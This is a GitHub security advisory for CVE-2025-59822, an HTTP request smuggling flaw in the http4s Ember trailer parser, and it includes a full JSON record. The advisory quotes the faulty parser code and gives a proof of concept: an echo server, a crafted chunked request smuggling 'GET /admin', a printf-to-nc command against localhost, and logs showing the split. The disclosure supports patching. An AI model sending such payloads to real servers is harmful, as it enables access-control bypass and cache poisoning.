ghsa-wcwh-7gfw-5wrr
Vulnerability from github
Summary
http4s is vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section. This vulnerability could enable attackers to: - Bypass front-end servers security controls - Launch targeted attacks against active users - Poison web caches
Pre-requisites for the exploitation: the web appication has to be deployed behind a reverse-proxy that forwards trailer headers.
Details
The HTTP chunked message parser, after parsing the last body chunk, calls parseTrailers (ember-core/shared/src/main/scala/org/http4s/ember/core/ChunkedEncoding.scala#L122-142).
This method parses the trailer section using Parser.parse, where the issue originates.
parse has a bug that allows to terminate the parsing before finding the double CRLF condition: when it finds an header line that does not include the colon character, it continues parsing with state=false looking for the header name till reaching the condition else if (current == lf && (idx > 0 && message(idx - 1) == cr)) that sets complete=true even if no \r\n\r\n is found.
```scala
if (current == colon) {
state = true // set state to check for header value
name = new String(message, start, idx - start) // extract name string
start = idx + 1 // advance past colon for next start
// TODO: This if clause may not be necessary since the header value parser trims if (message.size > idx + 1 && message(idx + 1) == space) { start += 1 // if colon is followed by space advance again idx += 1 // double advance index here to skip the space } // double CRLF condition - Termination of headers } else if (current == lf && (idx > 0 && message(idx - 1) == cr)) { // <----- not a double CRLF check complete = true // completed terminate loop } ``` The remainder left in the buffer is then parsed as another request leading to HTTP Request Smuggling.
PoC
Start a simple webserver that echoes the received requests: ```scala import cats.effect. import cats.implicits. import org.http4s. import org.http4s.dsl.io. import org.http4s.ember.server.EmberServerBuilder import org.http4s.server.Router import org.http4s.server.middleware.RequestLogger import org.typelevel.log4cats.LoggerFactory import org.typelevel.log4cats.slf4j.Slf4jFactory import com.comcast.ip4s._
object ExploitServer extends IOApp {
implicit val loggerFactory: LoggerFactory[IO] = Slf4jFactory.create[IO]
val echoService: HttpRoutes[IO] = HttpRoutes.of[IO] { case req @ _ => for { bodyStr <- req.bodyText.compile.string method = req.method.name uri = req.uri.toString() version = req.httpVersion.toString headers = req.headers.headers.map { header => s"${header.name.toString.toLowerCase}: ${header.value}" }.mkString("\n")
responseText = s"""$method $uri $version
$headers
$bodyStr
""" result <- Ok(responseText) } yield result }
val httpApp = RequestLogger.httpApp(logHeaders = true, logBody = true)( Router("/" -> echoService).orNotFound )
override def run(args: List[String]): IO[ExitCode] = { EmberServerBuilder .default[IO] .withHost(ipv4"0.0.0.0") .withPort(port"8080") .withHttpApp(httpApp) .build .use { server => IO.println(s"Server started at http://0.0.0.0:8080") >> IO.never } .as(ExitCode.Success) } } ```
build.sbt
```
ThisBuild / scalaVersion := "2.13.15"
val http4sVersion = "0.23.30"
lazy val root = (project in file(".")) .settings( name := "http4s-echo-server", libraryDependencies ++= Seq( "org.http4s" %% "http4s-ember-server" % http4sVersion, "org.http4s" %% "http4s-dsl" % http4sVersion, "org.http4s" %% "http4s-circe" % http4sVersion, "ch.qos.logback" % "logback-classic" % "1.4.11", "org.typelevel" %% "log4cats-slf4j" % "2.6.0", ) ) ```
Send the following request: ```http POST / HTTP/1.1 Host: localhost Transfer-Encoding: chunked
2 aa 0 Test: smuggling a GET /admin HTTP/1.1 Host: localhost
```
You can do that with the following command:
printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\n\r\n2\r\naa\r\n0\r\nTest: smuggling\r\na\r\nGET /admin HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc localhost 8080
You will see that the request is interpreted as two separate requests
16:18:02.015 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 POST / Headers(Host: localhost, Transfer-Encoding: chunked) body="aa"
16:18:02.027 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 GET /admin Headers(Host: localhost)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-ember-core_2.12"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.23.31"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-ember-core_2.13"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.23.31"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-ember-core_3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.23.31"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-ember-core_2.13"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0-M1"
},
{
"fixed": "1.0.0-M45"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-ember-core_3"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0-M1"
},
{
"fixed": "1.0.0-M45"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-59822"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-23T17:37:23Z",
"nvd_published_at": "2025-09-23T19:15:42Z",
"severity": "MODERATE"
},
"details": "### Summary\nhttp4s is vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section.\nThis vulnerability could enable attackers to:\n- Bypass front-end servers security controls\n- Launch targeted attacks against active users\n- Poison web caches\n\nPre-requisites for the exploitation: the web appication has to be deployed behind a reverse-proxy that forwards trailer headers.\n\n### Details\nThe HTTP chunked message parser, after parsing the last body chunk, calls `parseTrailers` (`ember-core/shared/src/main/scala/org/http4s/ember/core/ChunkedEncoding.scala#L122-142`).\nThis method parses the trailer section using `Parser.parse`, where the issue originates.\n\n`parse` has a bug that allows to terminate the parsing before finding the double CRLF condition: when it finds an header line that **does not include the colon character**, it continues parsing with `state=false` looking for the header name till reaching the condition `else if (current == lf \u0026\u0026 (idx \u003e 0 \u0026\u0026 message(idx - 1) == cr))` that sets `complete=true` even if no `\\r\\n\\r\\n` is found.\n```scala\nif (current == colon) {\n state = true // set state to check for header value\n name = new String(message, start, idx - start) // extract name string\n start = idx + 1 // advance past colon for next start\n\n // TODO: This if clause may not be necessary since the header value parser trims\n if (message.size \u003e idx + 1 \u0026\u0026 message(idx + 1) == space) {\n start += 1 // if colon is followed by space advance again\n idx += 1 // double advance index here to skip the space\n }\n // double CRLF condition - Termination of headers\n} else if (current == lf \u0026\u0026 (idx \u003e 0 \u0026\u0026 message(idx - 1) == cr)) { // \u003c----- not a double CRLF check\n complete = true // completed terminate loop\n}\n```\nThe remainder left in the buffer is then parsed as another request leading to HTTP Request Smuggling.\n\n### PoC\n\nStart a simple webserver that echoes the received requests:\n```scala\nimport cats.effect._\nimport cats.implicits._\nimport org.http4s._\nimport org.http4s.dsl.io._\nimport org.http4s.ember.server.EmberServerBuilder\nimport org.http4s.server.Router\nimport org.http4s.server.middleware.RequestLogger\nimport org.typelevel.log4cats.LoggerFactory\nimport org.typelevel.log4cats.slf4j.Slf4jFactory\nimport com.comcast.ip4s._\n\nobject ExploitServer extends IOApp {\n\n implicit val loggerFactory: LoggerFactory[IO] = Slf4jFactory.create[IO]\n\n val echoService: HttpRoutes[IO] = HttpRoutes.of[IO] {\n case req @ _ =\u003e\n for {\n bodyStr \u003c- req.bodyText.compile.string\n method = req.method.name\n uri = req.uri.toString()\n version = req.httpVersion.toString\n headers = req.headers.headers.map { header =\u003e\n s\"${header.name.toString.toLowerCase}: ${header.value}\"\n }.mkString(\"\\n\")\n \n responseText = s\"\"\"$method $uri $version\n$headers\n\n$bodyStr\n\n\"\"\"\n result \u003c- Ok(responseText)\n } yield result\n }\n\n val httpApp = RequestLogger.httpApp(logHeaders = true, logBody = true)(\n Router(\"/\" -\u003e echoService).orNotFound\n )\n\n override def run(args: List[String]): IO[ExitCode] = {\n EmberServerBuilder\n .default[IO]\n .withHost(ipv4\"0.0.0.0\")\n .withPort(port\"8080\")\n .withHttpApp(httpApp)\n .build\n .use { server =\u003e\n IO.println(s\"Server started at http://0.0.0.0:8080\") \u003e\u003e IO.never\n }\n .as(ExitCode.Success)\n }\n}\n```\n\n`build.sbt`\n```\nThisBuild / scalaVersion := \"2.13.15\"\n\nval http4sVersion = \"0.23.30\"\n\nlazy val root = (project in file(\".\"))\n .settings(\n name := \"http4s-echo-server\",\n libraryDependencies ++= Seq(\n \"org.http4s\" %% \"http4s-ember-server\" % http4sVersion,\n \"org.http4s\" %% \"http4s-dsl\" % http4sVersion,\n \"org.http4s\" %% \"http4s-circe\" % http4sVersion,\n \"ch.qos.logback\" % \"logback-classic\" % \"1.4.11\",\n \"org.typelevel\" %% \"log4cats-slf4j\" % \"2.6.0\",\n )\n )\n```\n\nSend the following request:\n```http\nPOST / HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunked\n\n2\naa\n0\nTest: smuggling\na\nGET /admin HTTP/1.1\nHost: localhost\n\n```\n\nYou can do that with the following command:\n`printf \u0027POST / HTTP/1.1\\r\\nHost: localhost\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n2\\r\\naa\\r\\n0\\r\\nTest: smuggling\\r\\na\\r\\nGET /admin HTTP/1.1\\r\\nHost: localhost\\r\\n\\r\\n\u0027 | nc localhost 8080`\n\nYou will see that the request is interpreted as two separate requests\n```\n16:18:02.015 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 POST / Headers(Host: localhost, Transfer-Encoding: chunked) body=\"aa\"\n16:18:02.027 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 GET /admin Headers(Host: localhost)\n```",
"id": "GHSA-wcwh-7gfw-5wrr",
"modified": "2025-10-13T15:20:21Z",
"published": "2025-09-23T17:37:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/http4s/http4s/security/advisories/GHSA-wcwh-7gfw-5wrr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59822"
},
{
"type": "WEB",
"url": "https://github.com/http4s/http4s/commit/dd518f7c967e5165813b8d4a48a82b8fab852d41"
},
{
"type": "PACKAGE",
"url": "https://github.com/http4s/http4s"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Http4s vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.